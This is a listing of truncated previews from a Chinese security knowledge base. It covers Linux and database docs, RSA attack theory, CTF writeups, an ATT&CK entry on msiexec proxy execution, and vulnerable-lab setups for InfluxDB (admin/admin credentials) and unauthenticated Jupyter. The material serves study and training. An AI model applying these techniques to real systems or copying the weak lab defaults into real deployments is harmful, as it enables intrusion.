# ssh --- ## 配置文件 sshd 配置文件是 : /etc/ssh/sshd_config ```bash Port 22 # 设置 ssh 监听的端口号,默认 22 端口 ListenAddress 0.0.0.0 # 指定监听的地址,默认监听所有; Protocol 2,1 # 指定支持的 SSH 协议的版本号。'1'和'2'表示仅仅支持 SSH-1 和 SSH-2 协议。"2,1" 表示同时支持 SSH-1 和 SSH-2 协议。 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_dsa_...
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "PREPARE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME PREPARE \- 创建一个准备好的查询 .SH SYNOPSIS .sp .nf PREPARE \fIplan_name\fR [ (\fIdatatype\fR [, ...] ) ] AS \fIstatement\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBPREPARE\fR 创建一个已准备好的查询。 一个已准备...
sec-knowleage
# Java 基础 <!-- GFM-TOC --> * [Java 基础](#java-基础) * [一、数据类型](#一数据类型) * [基本类型](#基本类型) * [包装类型](#包装类型) * [缓存池](#缓存池) * [二、String](#二string) * [概览](#概览) * [不可变的好处](#不可变的好处) * [String, StringBuffer and StringBuilder ](#string-stringbuffer-and-stringbuilder ) * ...
sec-knowleage
--- title: EJS date: 2023-04-07 background: bg-[#b4ca65] tags: - EJS - Frontend - Framework categories: - Programming intro: EJS(Embedded JavaScript) is a simple templating language that lets you generate HTML markup with plain JavaScript. plugins: - copyCode --- Get Started { .cols-3 } ----------- ### Hello ...
sec-knowleage
<!-- markdown="1" is required for GitHub Pages to render the TOC properly. --> <details markdown="1"> <summary>目录</summary> - [1 通用类](#1) * [I. 代码实现](#1.1) + [1.1 内存管理](#1.1.1) + [1.2 文件操作](#1.1.2) + [1.3 系统接口](#1.1.3) + [1.4 通信安全](#1.1.4) + [1.5 敏感数据保护](#1.1.5) + [1.6 加密解密](#1.1.6) ...
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "PG_DUMP" "1" "2003-11-02" "Application" "PostgreSQL Client Applications" .SH NAME pg_dump \- 将一个PostgreSQL数据库抽出到一个脚本文件或者其它归档文件中 .SH SYNOPSIS .sp \fBpg_dump\fR\fR [ \fR\fB\fIoption\fB\fR...\fB \fR\fR]\fR\fR [ \fR\fB\fIdbname\fB \fR\fR]\fR .SH "DESCRIPTION 描述" ...
sec-knowleage
joe === 强大的纯文本编辑器 ## 补充说明 **joe命令** 是一款功能强大的纯文本编辑器,拥有众多编写程序和文本的优良特性。 ### 语法 ```shell joe(选项)(参数) ``` ### 选项 ```shell -force:强制在最后一行的结尾处加上换行符号; -lines<行数>:设置行数; -lightoff:选取的区块在执行完区块命令后,就会恢复成原来的状态; -autoindent:自动缩排; -backpath:<目录>:指定备份文件的目录; -beep:编辑时,若有错误即发出哔声; -columns<栏位>:设置栏数; -csmode:可执行连续查找模式; -dopadding:是程序跟tty...
sec-knowleage
tty === 显示连接到当前标准输入的终端设备文件名 ## 概要 ```shell tty [option] ... ``` ## 主要用途 - 显示连接到当前标准输入的终端设备文件名,当标准输入不是终端时打印 "not a tty"。 ## 选项 ```shell -s, --silent, --quiet 不打印任何信息,只返回退出状态。 --help 显示帮助信息并退出。 --version 显示版本信息并退出。 ``` ## 返回值 当使用 `-s, --silent, --quiet` 时,返回码为 0 表示标准输入是终端,返回码为 1 表示标准输入...
sec-knowleage
'\" '\" Copyright (c) 1990 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: raise.n,v 1.2 2003/11/24 05:09:59 ...
sec-knowleage
import itertools from aes import AES from crypto_commons.generic import xor_string, is_printable def convert_array_to_strings(arr): return "".join(map(chr, arr)) possible_rounds = [ [0x45,0x33,0x7E,0x3C,0xF0,0x7F,0x2D,0xAC,0x33,0x44,0x3B,0x75,0x48,0x2A,0xC5,0x46,], [0x3E,0x43,0x95,0x3C,0x69,0xD0,0x73,0x67,0x22,...
sec-knowleage
# 环境搭建 参见 [ctf-tools](https://ctf-wiki.github.io/ctf-tools/binary_core_tools/virtualization/qemu/qemu-introduction/)
sec-knowleage
'\" t .TH "LOGIND\&.CONF" "5" "" "systemd 231" "logind.conf" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bu...
sec-knowleage
### 维纳(Wiener)的方法原理分析 * 维纳`Wiener`提出了一种关于私钥过小时对$N$进行分解的一种方式。并给出了证明当 $$ d < \frac{1}{3}N^{\frac{1}{4}} $$ 满足时(还应满足$q < p < 2q$,因这里及后文主要是对私钥进行探讨,故忽略这类条件)一定能够分解$N$。 * 以下为原论文中对于`Wiener's Approach`的部分描述,部分内容有删减,其实这里也就是维纳攻击的证明,所以要想更详细了解请再看维纳攻击的原理,这里我们主要后面要用到这里的`式1`。方法如下 已知 $$ e*d -k*\lambda(N) = 1...
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "VACUUM" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME VACUUM \- 垃圾收集以及可选地分析一个数据库 .SH SYNOPSIS .sp .nf VACUUM [ FULL ] [ FREEZE ] [ VERBOSE ] [ \fItable\fR ] VACUUM [ FULL ] [ FREEZE ] [ VERBOSE ] ANALYZE [ \fItable\fR [ (\fIcolumn\fR [,...
sec-knowleage
# Coppersmith 相关攻击 ## 基本原理 Coppersmith 相关攻击与[Don Coppersmith](https://en.wikipedia.org/wiki/Don_Coppersmith) 紧密相关,他提出了一种针对于模多项式(单变量,二元变量,甚至多元变量)找所有小整数根的多项式时间的方法。 这里我们以单变量为主进行介绍,假设 - 模数为 N ,N 具有一个因子 $b\geq N^{\beta},0< \beta \leq 1$ - 多项式 F 的次数为 $\delta$ 那么该方法可以在$O(c\delta^5log^9(N))$ 的复杂度内找到该多项式所有的根$x_0$,这里我们要求 $|x_0|<...
sec-knowleage
squid === squid服务器守护进程 ## 补充说明 **squid命令** 高性能的Web客户端代理缓存服务器套件“squid”的服务器守护进程。 ### 语法 ```shell squid(选项) ``` ### 选项 ```shell -d:将指定调试等级的信息发送到标准错误设备; -f:使用指定的配置文件。而不使用默认配置文件; -k:向squid服务器发送指令; -s:启用syslog日志; -z:创建缓存目录; -C:不捕获致命信号; -D:不进行DNS参数测试; -N:以非守护进程模式运行; -X:强制进入完全调试模式。 ```
sec-knowleage
# VUE 安装 ### 直接 `<script>` 引入 直接下载并用 `<script>` 标签引入,Vue 会被注册为一个全局变量。 **官网提示**:在开发时请用开发版本,遇到常见错误它会给出友好的警告。 #### 下载 使用独立版本安装 - 开发版本:[点击下载](https://vuejs.org/js/vue.js) - 生产版本:[点击下载](https://vuejs.org/js/vue.min.js) #### 引入 将下载的 vue 项目,下载放入项目内,在页面中用`<script>`标签引入 ``` <script src="./vue.js"></script> ``` ### CDN 推荐:ht...
sec-knowleage
# Unknown - Prison Cell 2 Category: Misc. ## Description > Well, okay, you’re back in the cell again, and they changed the lock to something quite heavier. This one cannot be picked with a paperclip… So, is this where the mission ends? PLING, another message from the boss. Another GIF… No wait, not only a GIF, also tex...
sec-knowleage
import sys import ast nums = {} try: for f in sys.argv[1:]: for i, line in enumerate(open(f).readlines()): no = int(line.split()[0]) data = ast.literal_eval("[" + line.split("[")[1]) nums[no] = data except Exception as e: print f, i, repr(line), e start = min(nu...
sec-knowleage
# T1218-007-win-基于白名单Msiexec执行Payload ## 来自ATT&CK的描述 可信数字证书签署的二进制文件在Windows操作系统执行时,可通过数字签名验证保护。Windows安装过程中默认安装的一些微软签名的二进制文件可用来代理执行其它文件。攻击者可能会滥用此技术来执行可能绕过应用白名单机制和系统签名验证的恶意文件。该技术考虑了现有技术中尚未考虑的代理执行方法。 ## 测试案例 Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包(MSI),一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于Win...
sec-knowleage
## 信息收集测试 * 搜索引擎信息收集 * Web服务器指纹识别 * Web服务器元文件信息泄漏 * 枚举Web服务器的应用 * 注释和元数据信息泄漏 * 识别应用的入口 * 映射应用程序的执行路径 * 识别Web应用框架 * 识别Web应用程序 * 映射应用架构 ## 配置管理测试 * 忘了和基础设施配置测试 * 应用平台配置测试 * 敏感信息文件扩展处理测试 * 对旧文件、备份和未被引用文件的敏感信息的审查 * 枚举基础设施和应用程序管理界面 * HTTP方法测试 * HTTP强制安全传输测试 * RIA跨域策略测试 ## 身份管理测试 * 角色定义测试 * 用户注册流程测试 * 账户配置过程测试 * 账户枚举和可猜测的用户账...
sec-knowleage
version: '2' services: web: image: vulhub/influxdb:1.6.6 environment: - INFLUXDB_HTTP_AUTH_ENABLED=true - INFLUXDB_ADMIN_USER=admin - INFLUXDB_ADMIN_PASSWORD=admin - INFLUXDB_DB=sample ports: - "8086:8086"
sec-knowleage
# Jupyter Notebook 未授权访问漏洞 Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。 如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。 ## 环境运行 运行测试环境: ``` docker compose up -d ``` 运行后,访问`http://your-ip:8888`将看到Jupyter Notebook的Web管理界面,并没有要求填写密码。 ## 漏洞复现 选择 new -> terminal 即可创建一个控...
sec-knowleage
# 60. n 个骰子的点数 ## 题目链接 [Lintcode](https://www.lintcode.com/en/problem/dices-sum/) ## 题目描述 把 n 个骰子扔在地上,求点数和为 s 的概率。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/195f8693-5ec4-4987-8560-f25e365879dd.png" width="300px"> </div><br> ## 解题思路 ### 动态规划 使用一个二维数组 dp 存储点数出现的次数,其中 dp\[i]...
sec-knowleage
## iMathze (PPC) In this chall we must connect through ssh to the game and solve 3 mazes and 9 equations (3 for each maze). At first we tried writing a python script to connect, parse the input and send solution, but the game was drawn in a terminal using escape sequences. It would be troublesome to parse them, so we ...
sec-knowleage